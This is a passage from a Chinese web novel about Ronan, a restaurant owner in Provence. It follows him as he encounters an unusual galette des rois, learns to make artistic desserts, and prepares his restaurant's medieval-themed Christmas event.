“生意居然这么好吗.”罗南小声嘟囔了一句。 “不是。”佐伊侧头问罗南,“我记得上次来的时候并没有人等位置吧?” 罗南来过这里很多次,但佐伊只来过一次,是在今年的3月份。 相对温暖的3月都没人排队,12月居然排队了? 罗南拉着佐伊加快了脚步: “可能都是来吃国王饼的,这可真让我好奇了到底是什么国王饼啊,能吸引来这么多人?” 第272章 都是路易十四惹的祸! 罗南来过餐厅几次,服务员认识他,知道这是老板非常好的朋友,而且雅克先生提前和他们打过招呼,罗南和佐伊不用等位直接进入了餐厅。 刚一进来,二人又吃了一惊。 已知今天来这里的顾客,几乎都是奔着国王饼来的,那么应该桌桌都有这种食物才对。 但他们看了一圈,没有发现一个他们熟知的国王饼踪影,取而代之的,是每一桌上几乎都有的一种他们从未见过的食物。 不仅造型独特,上面还有紫色和绿色的点缀物。 连见多识广的佐伊都说不出来那是什么。 “那不会是国王饼吧?”罗南啧啧称奇的说。 佐伊的视线不停在各桌上打量,同样吃惊的说: “果然很奇特,在别的地方从未见过。” 罗南和佐伊刚倒好粉红酒,雅克先生便出现在他们的餐桌旁,和他一同出现的,还有今天的‘主角’。 “先把国王饼上了,你们慢慢看菜单。”雅克直接坐了下来。 罗南顾不上寒暄,看着个奇特的东西不敢置信的说: “它真是国王饼?” 国王饼罗南从小吃到大,他第一次见这个造型的国王饼。 国王饼无法让其他人帮忙分食,因为里面会藏有一颗代表幸运的陶瓷小玩偶,吃到的就是‘国王’,需要亲自选择自己要吃的那块。 雅克一边催促罗南和佐伊尝尝,一边笑着说: “没错,这就是国王饼。” 罗南切下一块,仔细观察它的内部,发现和法国传统的国王饼做法基本相同,就是更厚实了一些。 他先是闻了闻,之后吃了一口: “还真是国王饼.” 这个国王饼靠眼睛没认出来,但嘴认出来了,的确是熟悉的味道。 佐伊对这个造型独特的国王饼充满了好奇,问雅克: “做成这个样子有什么寓意吗?” 雅克推了一下眼镜,给罗南和佐伊解释: “国王饼不止法国人吃,法语区(比利时、瑞士、魁北克等)、法国的前殖民地、西班牙语国家也会吃,可能名字和庆祝的内容不同,但内核是相同的。” “几年前餐厅决定要每年上一个月限定国王饼时,我去这些国家做了一次全面的考察,走了十几个城市,结合了里约热内卢和奥尔良的习俗,设计出了这款国王饼,没想到很受欢迎。” “确实很受欢迎。”罗南看着一屋子客人‘眼馋’的说。 雅克继续指着上面绿色和紫色点缀说: “紫色代表正义,绿色代表信仰,这是上个世纪奥尔良一个社团确定的象征色。” 佐伊又吃了一小口,点评道: “果然很巴西和美国。” 罗南继续问: “走了那么多个城市,这两个地方的国王饼最有特色?” 雅克先生笑着摇头: “每个地区都很有特色,而且是非常不一样的特色,说不出哪里最好,但确定这个造型的原因——” 他拉长了语调,似乎在等待罗南填补后半句。 罗南没有说话,他旁边的佐伊先开口了: “法国料理推崇‘感官即哲学’的文化基因,是一场视觉、味觉与精神体验的三重交响曲,这种设计很符合法国人的审美。” 餐厅里的艺术家们讨论过类似的话题,佐伊还参与了。 雅克满意的点头: “没错,路易十四时期的凡尔赛宫宴要求餐盘如艺术品,银器摆位精确到毫米,食物造型需呼应皇宫里的装饰,甜点要仿制喷泉雕塑的样子.这样看下来,给简约的国王饼加些点缀,何尝不是对宫廷礼仪的延续呢?” “额——”罗南把一个白色的小瓷偶吐到手上,“路易十四不会要求把小瓷偶也做成巴洛克风格的吧?” 佐伊抽了一张纸给罗南,开玩笑的说: “路易十四可能会说,你真是个幸运的小子。” 雅克笑着指菜单: “好了国王和王后,快点菜吧。” 雅克没有离开罗南和佐伊的桌子,陪他们吃完了全程。 再次相见,话题不免会聊到杰罗姆的斯特斯加酒庄。 “伊内斯在帮杰罗姆找下家,她还是希望能有人把酒庄接手下来。”雅克有些担忧的说,“但希望挺渺茫的。” 罗南问雅克: “杰罗姆要卖多少钱?” 雅克摇头: “伊内斯没说,但杰罗姆的酒庄有20公顷葡萄园,只是这些地就值100多万法郎了,酿酒设备和酒窖等建筑至少也要大几十万,还有‘斯特斯加’这个名字的价值.” 罗南听的直摇头。 太贵了! “如果伊内斯找不到卖家,杰罗姆打算怎么处理那里?”罗南继续问雅克。 雅克苦涩说: “那么多东西总不可能不要了,有可能拆开卖,也有可能会卖给做其他酒的人,改头换面酿制红葡萄酒或者白葡萄酒了。” 他继续说道: “过完元旦伊内斯要组织下一次聚会,应该是想让大家都想想办法,问问身边的朋友有没有感兴趣的。” “杰罗姆打算对所有人公布这个消息了?”罗南一怔。 上一次见面,雅克说杰罗姆只是偷偷和伊内斯打了招呼。 雅克叹气: “是伊内斯逼着杰罗姆说的,现在还有点时间,大家一起想想办法也许能把酒庄留住,如果让杰罗姆自己卖,这个酒庄很难保住了。” 大家一起想办法也难找到接手的人啊.罗南感慨道。 雅克轻轻敲了一下桌子,以吸引罗南的注意: “伊内斯依然没放弃让阿斯特丽德接手那里,这次聚会她会努力试试,如果可以的话.你也一起帮帮忙。” 罗南点头,严肃的说: “我会尽力的。” 罗南和佐伊吃完饭,离开雅克的餐厅,发现下午2点多门口依然有排队的人。 “果然是专程来吃国王饼的。”佐伊撇着嘴说,“现在早就不是吃饭时间了。” 罗南对甜品不感兴趣,他问地道的普罗旺斯人佐伊: “真的会有人为了一个甜品去某个餐厅吃饭吗?” “当然。”佐伊语气轻快的说,“这里的人嗜甜品如命。” 罗南依然不是很理解: “但它的本质没有什么变化啊,只是样子变了。” 佐伊笑着反问: “你忘记我们去的那个鲁西永餐厅了吗?有客人会因为摆拍和餐具去一家餐厅吃饭.就肯定会有为了好看和甜品去某一家餐厅。” 罗南无语的摇头: “都是路易十四传下来的坏毛病。” 抱怨归抱怨,罗南回到卢尔马兰也没闲着。 任何对餐厅有可能带来帮助的事情,他都会去认真研究。 他也想让餐厅里有来排队吃甜品的人! 正好这两天莉亚带着妮可拉在研究圣诞甜品的菜单,罗南一到餐厅就找到了她们两个。 “这次的圣诞甜品,最好设计的独特一些。” 莉亚点头道: “十三甜品我们全部换成了特色的样子。” 在普罗旺斯,圣诞大餐必须要以‘十三甜品’做为结束。 十三甜品代表耶稣基督和十二使徒,总数必须是十三。 而且每一种甜品都有其特殊的宗教寓意: 黑白牛轧糖——象征善恶对立。 椰枣——代表东方三贤士的沙漠旅程。 杏仁——寓意希望与丰饶。 葡萄——葡萄酒的浓缩形态,象征基督之血。 苹果与梨——伊甸园的禁果隐喻。 橙——北欧商船带来的奢侈礼物。 随着时间推移,这种有宗教寓意的甜品开始被更为特色的甜品取代,例如阿普特的蜜饯,水果馅饼、水果冻和饼干等。 到了近代,每一家的‘十三甜品’都不相同了,具体种类因当地或家庭传统而异。 罗南的餐厅这次也要延续普罗旺斯的传统,在圣诞节那天摆出长桌,上面铺满13道特色的甜品。 但罗南所谓的‘特色’和莉亚说的不是一个意思: “我的意思是,造型做的更加精美和华丽,让客人看到一眼就无法移开眼睛的那种。” 妮可拉看了一眼莉亚,指着桌子上的试验品说: “这次我们要做圣诞木柴蛋糕和几款圣诞造型饼干你看看它们足够‘精美’吗?” 实话实说,如果没去过雅克先生的餐厅,罗南可能觉得这饼干已经可以了。 但看完那个国王饼,罗南觉得这些饼干太不‘路易十四’了。 他摸了摸下巴,又砸吧了两下嘴,之后对莉亚说: “你们该干什么干什么吧,不用管我,我下午没事,自己在这研究研究。” 莉亚瞪大眼睛: “你会做甜品?” 罗南经常做饭,但他从来没做过甜品。 不只是他,莉亚也没见过罗天海做甜品。 罗南笑着耸肩: “不会,不过我会摆盘,也会画画.也许可以试试?” 莉亚和妮可拉半信半疑的离开去工作了,留下罗南对着一堆面包坯和饼干独自愣愣出神。 好久没来餐厅,佐伊回到卢尔马兰也和艺术家们凑到一起。 大家的话题自然离不开还有一个月就要开始的‘大地艺术’项目。 马里尼今天又喝了不少酒,‘自闭’模式已经关闭: “我最近做了许多作品,但全都不是很满意,我有些迷茫了,我做的那些雕塑在普罗旺斯至少有几百个人可以做出同样的那么我的优势在哪里呢?” 其他几个艺术家也跟着点头。 在卢尔马兰的这些艺术家中,只有佐伊的玻璃和陶瓷结合工艺可以算得上是相对有特色。 抛开主题和作品本身不谈,她已经有很大优势了。 但其他的人呢? 我会画画别人不会画吗? 我会木雕别人不会木雕吗? 宝莱特补充道: “还有一个巴蒂,巴蒂做的东西也很有特色。” 薇薇安有些羡慕的说: “我挺看好巴蒂的,编织工艺在普罗旺斯很少见,虽然小众但那会是一个很不错的展示机会,我看了他作品的一部分,相当精美。” 藤蔓、草和竹子等本身就是贴合大自然的材料,巴蒂拥有天然的优势。 佐伊和巴蒂是卢尔马兰这些艺术家中公认的,最有机会在2月的戈尔德大放光彩的两个人。 佐伊安慰大家: “特色的不只是工艺,更多的还是作品本身,我们已经努力了一个月,最后这段日子谁都不要放弃。” 宝莱特继续鼓励大家: “不要忘记大家的目标啊,让普罗旺斯知道咱们卢尔马兰艺术家的厉害,大家是一个集体。” 马里尼突然看着佐伊问: “罗南不去参加吗?” 罗南也是艺术家啊,而且会编织工艺。 佐伊喝了一口粉红酒,措辞道: “罗南说他的编织做灯和饰品可以,做工艺品就不够用了,而且他又要进山,还要兼顾餐厅,没有那么多精力。” 佐伊替罗南做了美化,他的原话是: 那个工艺品能卖多少钱?你知道我把同样的精力放到其他地方能赚多少吗? 罗南是什么艺术家啊.他就是个只想赚钱的机器。 薇薇安四处打量: “诶,提到罗南,他人呢?不是下午和你一起回来的吗,几个小时不见了?” 佐伊也跟着打量,其实她找好久了,她也不知道罗南去了哪里,只是好久不见这些朋友,离开去找人有些不好意思。 不过薇薇安提起这个话题,佐伊终于可以合理的去找心上人了: “不知道,我去找找他,你们继续聊。” 佐伊进入后厨,看到一群妇女正围着一个托盘窃窃私语。 她凑过去看,发现是一盘子造型独特的松树饼干: “这是谁做的?” 弗洛西吃惊的说: “莉亚说是罗南做的,但我怎么那么不信呢,罗南什么时候做过甜品?” “对啊,我只见过罗南炒菜。”弗拉基妮一边切菜一边说,“而且莉亚还说,那几个做‘废’了的松树也是罗南做的,这是我听过最大的笑话,那么好看的饼干是失败品?” 佐伊顺着她们的视线看过去,又看到了另外几个不同风格的松树饼干。 妮可拉挤开她们,语气坚定的说: “我发誓那真的是罗南做的,莉亚一下午都和我在一起,她没有做这些。” 佐伊皱着眉头问: “我妈妈和罗南在哪里?” 餐厅的后门有一个小仓库,平时食材会暂时放到这里。 今天这里出现了许许多多的甜品‘废料’。 而罗南正和莉亚像做实验一样,围着一个‘小房子’造型的饼干激烈的讨论着。 “你如果要做这种造型,我可以把饼干低改大一点,现在的比例是不是不太协调?” “如果不改饼干底的大小,我把这个小房子缩小一些,会好看吗?” “那也太小了,你要用显微镜‘裱花’吗?” “没事没事,再小都可以,我手稳得很。” “你这手也太稳了啊,像是在饼干上画画一样。” 突然,一道女声在他们二人头顶: “你真的不去参加‘大地艺术’展吗?” “哎呀妈呀——” “吓死我了!” 罗南和莉亚吓了一跳,发现来的人是佐伊,又继续低头做实验了。 罗南知道佐伊是对自己说话,回答道: “不去不去,我的编织能力不够。” 佐伊低头看着罗南在那个还没半个手掌大的饼干上‘画画’的样子,沉吟了几秒后说道: “不是编织,是用食物,谁说食物就不是艺术了呢?” 第273章 用食物作画 “我去看看妮可拉。”莉亚见佐伊有话想对罗南说,识趣的离开这里。 罗南暂时停下制作饼干,站直身体问佐伊: “用这些饼干?” 佐伊拿起一个圣诞小木屋饼干仔细打量: “不一定是这个饼干,只是我突然有了这样一个想法,甜品也可以做成艺术品的样子,为什么不试一试呢?” 罗南做饼干的样子让佐伊联想到了许多画面。 有她自己拉坯塑形的画面、有其他艺术家画画的画面、有雕塑家雕刻的画面 卢尔马兰的艺术家们挖空心思想在工艺上做出突破,以彰显特色,普罗旺斯有用甜品做艺术的艺术家吗? 反正佐伊没见过。 可能是由于刚刚在聊的是这个话题,所以她脱口而出了。 罗南自嘲的说: “这些饼干距离艺术品差的远着呢.别开玩笑了。” 饼干和蛋糕坯子全部是莉亚做的。 罗南只是靠【烹饪】技能带来的‘美学’能力、刀工底子和【编织】技能带来的一双巧手在这些现成的食材上‘作画’。 佐伊把饼干放下,语气平静的说: “我只是提出这样一个思路,你可以在饼干上‘画画’,肯定也可以在其他甜品上‘画画’,这真的太有特色了。” 罗南想了一下,撇嘴道: “也许吧,但我对你们那个‘大地艺术’项目不感兴趣,它对你们有帮助,对我来说有些浪费时间了。” 有这功夫我去山里挖松露不行吗? 佐伊轻轻点了一下罗南的脑袋,似乎在说那里怎么卡壳了呢: “你忘记自己还有一个吸引艺术家的目标了吗?如果你能在‘大地艺术’项目上大放异彩,也许来卢尔马兰生活的艺术家会更多.那粉红酒的氛围不就更加浓郁了?” 罗南笑着对佐伊说: “哪里用得到我啊,你一定可以吸引来更多艺术家,歌迪亚那句话怎么说的来着想起来了,‘佐伊一定会率领这批卢尔马兰艺术家在戈尔德大放异彩的!’,我对你有信心,对巴蒂也有信心,卢尔马兰就是下一个戈尔德和圣雷米。” “哪有这么简单?”佐伊不停摇头,“口号是为了给大家打气用的,我们将要和真正的普罗旺知名艺术家同台,想要出彩太难了,你不知道我现在压力有多大.而且这对餐厅说不定也会有帮助。” “因为‘路易十四’?”罗南心有灵犀的问。 佐伊认同的点头,早一些的博尼约之旅给两个人都带来了很大的感触: “你想啊,到了旅行季来卢尔马兰的游客不只有吃饭需求,还会有休息和打发时间的需求,那就一定绕不开法国人最爱的甜品,如果餐厅的甜品也能像雅克先生的国王饼一样出众和有特色,不是又可以扩充一部分客户群了?” 她小心翼翼回头看了一眼,见身后没人,压低声音对罗南说: “这个道理我妈妈早就想到了,她总是抱怨自己‘能力有限’,无法给你提供太多的帮助.如果你能把餐厅的甜品设计的像‘路易十四’吃的一样,也是帮我妈妈分担了压力。” “但去参加艺术活动是不是太夸张了一些?”罗南指着自己说,“我跟艺术家一点都不沾边啊。” 你看我身上有一丁点艺术气息吗? 佐伊瞥了罗南一眼,小声嘟囔了一句: “你‘艺术家老板’的称号早在普罗旺斯打响了,你觉得你能和这个身份脱得开关系?” 这一场对话对罗南来说就是生活中的一场小插曲。 他设计饼干不过是为了完善圣诞节活动,并没有想的那么长远。 想用甜品吸引客户是真,但和艺术扯上关系就有些不切实际了。 与艺术家相比,他更加认同自己农夫的身份。 设计了几款圣诞饼干和蛋糕后,罗南再次回归他的‘乡野’生活。 白天进山挖松露,晚上回餐厅和维埃里一起筹划圣诞节活动,日子周而复始。 但某一天晚上,罗南满身泥土回到餐厅时,被告知了一个意外的消息。 “今天来了一个锡亚干的艺术家,她是专程来找你的。”冯珍一边给罗南拍身上的土,一边催促,“你快去打个招呼吧,那姑娘等你几个小时了。” “找我的?”罗南震惊不已的问。 餐厅里来陌生艺术家不稀奇,稀奇的是找他的艺术家。 通常情况下,这些艺术家来卢尔马兰都是找佐伊。 罗南过去一听,发现这位陌生的艺术家还真是来找他的。 在他回来之前,这名叫珂莉的女艺术已在餐厅里认识好几名‘同行’了,而他们此时聊的正是关于罗南的话题。 “我第一次见到罗南的名字是在杂志上,他介绍了餐厅的设计理念和编织工艺,那个时候我才知道.原来在普罗旺斯还有这样一种特殊的手工艺。”珂莉侃侃而谈道。 “前几天我去逛阿普特的装饰商店,发现那里在出售许多款藤制的花环和编织品,而且不止一家店铺在卖,和老板一打听才知道原来这批货来自卢尔马兰” “罗南真的很厉害,居然把艺术品输送到了生活领域,他不仅是一位优秀的艺术家,还是一个厉害的商人,我这次来是想问问,他是如何想到用藤蔓取代鲜花做成花环的?” 在场的都是老顾客,珂莉的问题一出口,马上有好几个人抢答。 “这题我会!罗南用葡萄藤做花环时我正好在场,他的手像变魔术一样,给我做出了一个心形的花环,那真是一场酣畅淋漓的创作,在他身上似乎没有‘界限’,任何东西都可以成为他创作的工具。” “那些花环是用葡萄藤做的?” “没错,就是那些普罗旺斯最常见的葡萄藤!罗南把它们‘变废为宝’了!” “上帝,怪不得在做艺术家之余还能开好一个餐厅,这太‘天马行空’了。” “罗南是我见过最会赚钱的艺术家,没有之一!” 罗南被他们一口一个的‘艺术家’冲击得昏头转向的。 佐伊说的一点没错. 这不是他以为自己是什么的问题,他和‘艺术家’这个单词早已绑定到了一起。 那天餐厅打烊后,罗南没有着急离开,而是和莉亚探讨起了关于甜品的话题。 也许真的可以考虑一下佐伊的提议。 至少试试? “你想要学做甜品?”莉亚意外的问。 罗南点头: “对,我希望你能教我几种你擅长的甜品。” 【烹饪】技能带来了知识,也提供了不少的能力,但它没给罗南‘菜谱’,想要做什么需要找人学习。 如果要尝试用甜品做艺术品,只是简单的在饼干上做造型还远远不够,那太小儿科了。 罗南需要拿出更多的创意,那么就需要系统的学习一下甜品制作。 莉亚一口答应下来: “没问题,蛋糕、派、面包、饼干和慕斯等普罗旺斯常见的甜品类型我都会,我全部教给你。” 作为一名中餐老板,罗南的首选肯定是中式甜品,但他现在只是想要尝试一下把甜品做成艺术品的可能性,这些足够他找到答案了。 他感激的抱住莉亚: “好,那今天先教我做一点简单的?” 晚上9点30。 佐伊从工作室出来,发现只有爸爸路易坐在客厅里看电视,问道: “妈妈和维埃里呢?” 他们应该早就回来了才对。 路易把电视的声音调小了些,对佐伊说: “你妈妈在餐厅里教罗南做蛋糕,维埃里可能等你妈妈一起回来吧,他在电话里没说。” 佐伊马上反应过来,罗南应该是听从了她的建议,可能想要去参加‘大地艺术’活动,否则怎么会突然学做甜品呢? 于是她马上换了件衣服去餐厅。 这个时候的罗南需要她的鼓励! 现在已经过了打烊时间,餐厅里的灯基本都关了,只有门口的几盏亮着。 佐伊远远的看到维埃里正在门口鼓弄什么。 她没有着急进去,而是在门口观察了一会,发现维埃正在安装假的‘壁橱’。 在他脚下还有袜子、木柴和牛奶杯等,这些全部是圣诞节的传统装饰物。 “你怎么在自己布置?”佐伊推开门。 维埃里一边干活一边说: “我等妈妈一起回家,反正也没事做,把明天要做的事情先干了。” “妈妈和罗南在哪儿?”佐伊问弟弟。 维埃里并没有说话,只是指后厨。 佐伊去后厨的路上要先路过收银台,她看到那上面的一张白纸上,密密麻麻写了几十个类似‘待办事项’的清单,而其中的十几个后面打上勾了。 她认出那是维埃里的字迹。 佐伊把双手插入口袋里,并没有回头: “你想要什么圣诞节礼物?” 维埃里的声音没有什么起伏的从身后传来: “和之前一样,文具就可以。” “你没有什么想要的,那我看着准备了。”佐伊离开了收银区。 “哎呀,你的手太巧了!又被你画出画了!” 还没见到人,佐伊先听到了母亲的夸赞声。 而后是罗南没有什么情绪的: “我第一次用奶油‘画画’.这跟在纸上和盘子上画的感觉完全不一样。” 佐伊轻轻的推开门,见到罗南正压低身体,认真的雕琢一朵‘玫瑰花’。 见佐伊来了,他笑着说: “你怎么来了?我正做‘实验’呢,马上结束。” 佐伊趴在桌子上,撑着脑袋看罗南: “上一次我和你说,你拒绝了也就拒绝了,这次你真的不能再拒绝我了这才几天啊,你的‘手艺’又精进了,你好好准备一段时间,跟我们去戈尔德送展吧,我是认真的,按照你的进步速度,一个月后说不定真能做出‘路易十四’的甜品。” 第274章 这一年辛苦了 罗南最终也没有答应佐伊是去还是不去。 只是信誓旦旦的保证,一定会在未来的一个月里努力‘练习’的。 佐伊严肃的提醒罗南,最后的送展截止日期在1月底,她不希望罗南错过这次很好的展示机会。 罗南很清楚,自己现在最多就是一个甜品师傅的水平,距离甜品艺术家还有很远的距离。 这绝不是靠一个月练习就能达成的。 需要上帝给他一些‘奇迹’。 例如在送展截止日期前把【烹饪】升级到5级,并且开出一些菜谱奖励等等。 略伦特先生说,3月份普罗旺斯的各类美食活动就要开始了。 罗南一定会升级【烹饪】去碰碰运气。 所以这个技能他一定会升。 现在要做的就是,尽快积攒【幸福度】凑够5000数值,并祈祷能开出对‘大地艺术’活动有帮助的东西。 临近圣诞节,吕贝隆的天气一下子就冷了下去。 早晚的最低温度来到0度左右,如果没有必要的原因,大家在白天都不想出去。 但罗南的户外活动非常多,要遛狗、要进山,今天还要去卢尔马兰的集市。 “希望温度不会影响大家逛集市的热情。”罗南祈祷道。 在今天的集市上,他们要宣传圣诞节活动了。 集市的人流量会直接影响活动的热闹程度。 就这样胡乱想着,罗南带着两条狗走到了家门口,意外发现门口的柏油马路上停了一辆刚刚熄火的车子。 几秒钟后,车门打开,走下来三个穿着制服的男人。 这条柏油马路只通罗南一家,见罗南带着狗出现,他们猜出了罗南房主的身份,整理了一下制服后,严肃向着罗南走来。 三个穿着制服的壮汉向你走来的视觉冲击感还是很强的即使身边有两条狗也无法缓解罗南的紧张情绪。 他不由得反思,最近是不是做了什么错事。 酒驾被举报了? 还是餐厅的税务出现了什么问题? 又或者是布兰科给他‘开发税’走后门的事情‘东窗事发’,这些人是请他去喝咖啡调查的? 罗南走的越来越慢,越来越慢,以希望推迟双方碰面的时间。 好给脑子尽量多的时间思索最近都做了哪些不利于法兰西第五共和国社会安全的事。 电光火石间,他连后路都想好了。 雅克先生曾经说过,如果在普罗旺斯遇到了‘事情’,不要惊慌,给伊内斯打电话,她会帮助你找到可以解决麻烦的人。 这话保不保真啊? 不过罗南的紧张情绪很快散去,因为这三个人在距离他几米的地方停下,向他敬了个礼。 在法兰西这片土地上,即使人们再看重礼数,警察也不会在逮捕你之前向你敬礼。 警报解除,他还是个好公民。 “你好,我们是吕贝隆消防局的。”带头的人和罗南握了个手。 “你好,请问有什么事情吗?”你们消防局的制服必须要和警局的衣服这么类似吗罗南腹诽了一句,不过脸上的表情异常恭敬和客气。 其中一个人冷着脸指身后的屋子: “你家吗?” 罗南点头道: “是的,我家。” 带头那人表情严肃的说: “我们想进去看看。” 罗南一边热情的把他们请入家中,一边回忆清扫烟囱的证明被放在了哪里。 路易曾说过,吕贝隆消防局其中一项工作就是抽查居民烟囱的情况,如果没有清理,他们会加以各种借口罚款。 罗南满脸笑容的想: 但这次你们注定要扑空了,我可是花钱清理烟囱的人! 怎料罗南的算盘也扑空了。 那些人一进入封闭的室内,都等不及罗南给他们倒酒,马上拿出了一本日历,脸色也变得和蔼了: “这是我们特意给你送来的吕贝隆消防局日历,你看,明年所有的公共假期都标在上面。” 这款日历的大小和样式,和罗南藏到柜子最底层那个邮差送来的日历几乎相同。 只不过那些穿着比基尼的少女变成了英勇的消防斗士。 有的消防队员在高空速降。 有的抱着孩子冲出火海。 当然了,这里面也出现了刊登在《普罗旺斯日报》上,那场因西北风而起的森林大火中小伙子们奋力灭火的照片。 吕贝隆山区的消防员承担了比城市消防员更加繁重的工作。 除了救火之外,他们还负责搜救去森林里挖16世纪宝藏的傻子、不慎掉进山洞里的羊群、保护被喜鹊追着拉屎的倒霉蛋等等。 无论从什么角度看,他们都是值得尊敬的人。 如果让这些值得尊敬的人主动开口,那就太‘罪该万死’了。 不过这个时候要讲究一些方式方法。 “我小时候的梦想就是做消防员,这个梦想一直持续到了我高中毕业,我可以通过捐赠表达一下对这个伟大事业的一点点敬意吗?”罗南语气激昂的问。 那几个消防员显然被罗南的话感动了,从口袋里掏出一本收据。 并在那张收据的抬头写上——敬吕贝隆消防队最好的朋友。 罗南正在感动自己居然和消防队成为朋友,那人停下笔问: “那么你想捐多少钱呢?” 拿到50法郎后,那三个消防员又给罗南敬了一个礼,之后离开了这里。 过了一会,罗天海和冯珍收拾好了,去餐厅开门,见罗南站在窗前,好奇的问: “干什么呢?” 罗南看着窗外,平静的说: “在等一个朋友。” 在吕贝隆山区里有许许多多服务人员值得给‘新年红包’,但其中有一个是罗南认为最值得给的。 罗南家住在卢尔马兰的外围,这附近没有垃圾站。 每逢周二和周五,一个习惯穿得破破烂烂的小老头会开着一辆破卡车来罗南家门口收垃圾。 罗南家经常聚会,还频繁装修。 酒瓶子、厨房垃圾、工程废料和各种各样的垃圾堆积在一起,那味道别提了,又重又难闻。 尤其是夏天,罗南都有些不好意思。 但那老头从来没抱怨过什么,也不说话,一年四季到点了就来,拿上垃圾就走,酷的不行。 罗南不知道他叫什么,也不知道他住哪里,只知道他是卫生局安排来的人,巴黎一家人习惯称呼他为‘酷老头’。 而今天是周五,酷老头来收垃圾的日子。 不是每个服务人员都有要‘新年小费’和‘圣诞红包’的习惯,罗南也不确定那个酷老头会不会来敲他们家的门, 但万一呢? 二十多分钟后,柏油马路尽头出现了和拖拉机差不多大的机械噪音。 又过了一阵子,一辆破旧的老卡车出现在那里。 那辆车用比步行快不了多少的速度缓慢开到尽头。 停车、熄火。 从车上下来一个戴着破洞帽子,穿着破了洞外衣的干瘦老头。 那人没有任何停留,冲向了罗南家的垃圾堆放地。 他利索的扛起一包垃圾,并熟练的把垃圾袋扔进比他矮不了多少的卡车后斗里。 两个来回后,他直接绕回了驾驶室,准备扬长而去,但一个人的出现打断了他一气呵成的动作。 “这一年辛苦了。”罗南站在车头,把50法郎递了过去。 酷老头显然没想到还有人会主动送上‘小费’,他没有接钱,而是打开车门慌张的找起了东西: “我没有印日历,你等我找下其他东西。” 罗南在下面拍了一下他的后背: “不用,我家有很多日历,请您收下吧。” 酷老头回头过来,把脏兮兮的手套摘掉,接下了那张纸币,同时露出了笑容: “圣诞快乐,罗南先生。” 罗南与他招手再见,回家拿去集市摆摊的东西: “圣诞快乐。” “你怎么来晚了啊?” 在集市等候多时的伊莎贝尔见罗南终于推着小车出现,小跑过去拿东西。 罗南今天居然迟到了10分钟。 “办了一点重要的事,耽误了。”罗南把车子推到摊位后方,利索的摆东西。 他问默默和他一起布置摊位的维埃里: “开始宣传活动了吗?” 维埃里摇头: “没有,你没来,我们什么都不敢干。” “我自己摆,你和伊莎贝尔去宣传圣诞节活动吧。”罗南对他们两个说。 话音刚落,两个年轻人就弹射了出去。 “女士、先生、小姐们!圣诞节当天,我们的餐厅会举行中世纪复古主题圣诞活动,那将是一场跨越百年的沉浸式中世纪之旅,快带着你们的家人来参加吧!” 虽然现在集市上的人还不多,但维埃里还是卖力的吆喝起来。 伊莎贝尔暗骂了一句‘傻子’,得意的掏出了她的武器。 她将事先录制好内容的扩音器打开,很快一个年轻女声便出现了: “欢迎来商业街中餐厅体验穿越时光的丰收盛宴,届时大家可以体验中世纪宫廷式圣诞气氛,在品尝特色的中式餐品和甜品之余,我们还给每一位顾客准备了精美的礼物,还会有免单机会等着你们!快来吧!” 维埃里生气的对伊莎贝尔说: “你这是作弊!” 伊莎贝尔回给维埃里一个鬼脸,拿着扩音器去集市‘巡讲’去了。 罗南笑着摇了摇头。 维埃里找了一个强大的对手啊。 第275章 团聚时刻 圣诞节起源于宗教历史。 19世纪后,这个节日开始向世俗化‘转型’,逐渐演变为兼具宗教意义和全球文化共鸣的节日。 到了20世纪,圣诞节被西方视为一年中最重要的家庭团聚时刻。 在这个需要和家人团聚的日子里,忙碌的路易暂时放下了工作和赚钱,全身心拥抱家庭。 但今年的圣诞节和往年的情况大不一样,上午醒来家里只有他自己,妻子和一对儿女全部去了罗南的餐厅。 莉亚和维埃里有‘工作’在身,佐伊是去帮忙了。 路易拿出莉亚做了层层保温措施的三明治早餐,发现还是温的.咖啡壶里的咖啡也在冒着热气。 这更加让他想念自己的‘家庭’了。 他决定今天也要去罗南的餐厅帮一天忙,和家人们以另外一种形式‘团聚’! 卢尔马兰的街道上已进行了圣诞点缀,家家户户门口都装点着圣诞饰品。 这其中最热闹的,当然是卢尔马兰的新‘景点’商业街。 还没走到商业街,路易就听到热闹的说话声,看起来人不少。 似乎冬季的寒冷并没有打消大家过节的热情。 转了个弯,正式进入商业街,刚走两步路易就看到了一个熟人——阿兰正在一个摊位前卖面包,而整个摊位被布置成了浓郁的圣诞氛围。 “你怎么出来摆摊了?”路易走过去问。 他发现商业街上的临时摊位不止一个,每隔几米就有一个装扮成圣诞风格的摊位出现。 阿兰穿着厚厚的棉服,不停跺脚和搓手,不过脸上的笑容并没有褪去: “罗南说今天的人流量都会聚集在商业街上,建议政府组织一个小型的市集,你别说,这招真管用,还不到一个上午我都快把面包卖完了。” 路易见他一直跺脚,关心的问: “是不是穿的太少了?我回家给你拿件衣服?” 阿兰连连摆手: “不用不用,维埃里给我送来了毯子和热水,而且我卖完这些就收摊回家过节了,没想到今天能卖的这么好啊,准备少了。” 想到昨晚还在‘怼人’的维埃里,路易轻轻冷哼了一声。 维埃里能懂怎么照顾人? 肯定是莉亚或者罗南让他来的。 阿兰用下巴指商业街中心: “要去罗南的餐厅?快去吧,那里现在热闹的不得了,等我收了摊也去找妮可拉。” “好的,一会见。”路易和阿兰告别,继续向着餐厅的方向走。 路易发现商业街上的临时集市非常热闹。 不止阿兰来了,烟酒店的老板、杂货店的老板、熟食店的老板都在这里支起了摊子。 他还看到了热红酒和普罗旺斯香料面包等圣诞限定食品。 “有一点阿维尼翁圣诞特色市集的意思了。” 沃克吕兹省最大的圣诞特色市集在阿维尼翁,每年的11月底到1月初,那里都会举行圣诞主题的市集,可以吸引来数十万游客和本地居民。 维埃里和佐伊还很小的时候,路易和莉亚带他们去阿维尼翁过过一次圣诞节,回来的路上,维埃里说他每年都想去阿维尼翁过节,因为那里的圣诞气氛浓郁。 瞧瞧卢尔马兰也有属于自己的圣诞集市了! 虽然规模还很小,但已初具‘雏形’。 说不定再过两年,卢尔马兰真的可以拥有属于自己的圣诞市集,并吸引外地的游客来。 “卢尔马兰今年的变化真大。”路易不禁感慨。 当然了,对于路易来说,今年最大的变化就是妻子莉亚和女儿佐伊。 她们一个找到了自己的事业方向,一个在事业上有了巨大突破。 想到这里,路易幸福的加快了脚步,他要快些和家人们团聚到一起。 在餐厅门口,路易看到了一身宫廷打扮的伊莎贝尔,她正在安顿等位置的人。 商业街上的建筑延续了卢尔马兰村的中世纪风格,在此背景下,看到穿着宫廷服饰的服务员来回走动,确实有一种跨越了百年的沉浸式感受。 “生意不错啊,都有等位置的人了?”路易问她。 伊莎贝尔兴奋的点头: “圣诞活动吸引了不少人来,10点一过就满位了。” 路易一连‘哇哦’了好几声: “罗南策划的活动总是那么优秀。” 